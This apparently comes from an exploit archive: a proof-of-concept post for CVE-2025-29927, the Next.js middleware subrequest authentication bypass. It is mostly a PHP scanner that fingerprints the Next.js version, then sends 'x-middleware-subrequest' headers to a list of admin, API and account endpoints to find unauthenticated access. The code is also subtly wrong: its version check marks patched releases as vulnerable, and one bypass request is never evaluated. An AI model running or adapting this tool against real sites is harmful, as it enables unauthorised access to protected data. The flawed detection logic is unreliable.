📄 Next.js 14.2.25 Middleware Subrequest Bypass

=============================================================================================================================================
    | # Title     : Next.js 14.2.25 Middleware Subrequest Bypass Vulnerability                                                                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://nextjs.org/                                                                                                         |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212394/ &	CVE-2025-29927
    
    [+] Summary :  A vulnerability exists in the Next.js middleware handling mechanism, where requests
                   containing the "x-middleware-subrequest" header are processed differently compared to
                   normal requests, potentially allowing attackers to bypass authentication.
    
    [+]  POC : php poc.php 127.0.0.1
    
    <?php
    /*
     * Next.js Middleware Bypass Scanner 
     * CVE-2025-29927
     * Author: Indoushka
     */
    
    function http_request($url, $headers = [])
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        if (!empty($headers)) {
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        }
        curl_setopt($ch, CURLOPT_TIMEOUT, 12);
        $resp = curl_exec($ch);
        $info = curl_getinfo($ch);
        curl_close($ch);
    
        $header_size = $info["header_size"];
        return [
            "status"  => $info["http_code"],
            "body"    => substr($resp, $header_size),
            "headers" => substr($resp, 0, $header_size)
        ];
    }
    
    function detect_next_version($base)
    {
        $res = http_request($base);
        $html = $res["body"];
        $hdrs = $res["headers"];
    
        // Header detection
        if (preg_match("/x-powered-by:\s*(.*)/i", $hdrs, $m)) {
            if (stripos($m[1], "Next.js") !== false) {
                echo "[*] Version found in header: {$m[1]}\n";
                return trim(str_replace("Next.js", "", $m[1]));
            }
        }
    
        // Static leak detection
        if (preg_match('#/_next/static/[^/]+/revisions/(?:static|webpack)-(\d+\.\d+\.\d+)#', $html, $m)) {
            echo "[*] Heuristic detected version: {$m[1]}\n";
            return $m[1];
        }
    
        echo "[!] Could not detect Next.js version reliably\n";
        return null;
    }
    
    function version_vulnerable($v)
    {
        $safe = ["12.3.5", "13.5.9", "14.2.25", "15.2.3"];
        foreach ($safe as $sv) {
            if (version_compare($v, $sv, "<"))
                return true;
        }
        return false;
    }
    
    function test_bypass($base, $ep)
    {
        $url = rtrim($base, "/") . $ep;
        echo "\n[*] Testing endpoint: $url\n";
    
        $normal = http_request($url);
        $bypass1 = http_request($url, ["x-middleware-subrequest: middleware"]);
        $bypass2 = http_request($url, ["x-middleware-subrequest: middleware:middleware:middleware"]);
    
        echo "[+] Normal Status: {$normal['status']}\n";
        echo "[+] Bypass Status : {$bypass1['status']}\n";
    
        if ($normal["status"] !== $bypass1["status"])
            echo "[!] Status difference detected - POSSIBLE BYPASS\n";
    
        if (strlen($normal["body"]) !== strlen($bypass1["body"]))
            echo "[!] Response length differs - HIGH Bypass Chance\n";
    }
    
    if ($argc != 2) {
        echo "Usage: php $argv[0] https://target.com\n";
        exit;
    }
    
    $base = $argv[1];
    
    echo "[*] Scanning $base for CVE-2025-29927\n";
    
    $ver = detect_next_version($base);
    
    if ($ver) {
        echo "[*] Detected Version: $ver\n";
        if (version_vulnerable($ver))
            echo "[!] Version appears VULNERABLE\n";
        else
            echo "[*] Version appears patched\n";
    }
    
    $endpoints = [
        "/api/user", "/admin", "/dashboard", "/api/admin",
        "/admin/login", "/admin/dashboard", "/dashboard/settings",
        "/admin/settings", "/api/auth", "/api", "/api/users",
        "/api/admin/session", "/api/settings", "/api/private",
        "/account", "/account/settings", "/profile", "/settings",
        "/me", "/me/settings", "/_next", "/_next/data", "/_next/static"
    ];
    
    foreach ($endpoints as $ep)
        test_bypass($base, $ep);
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================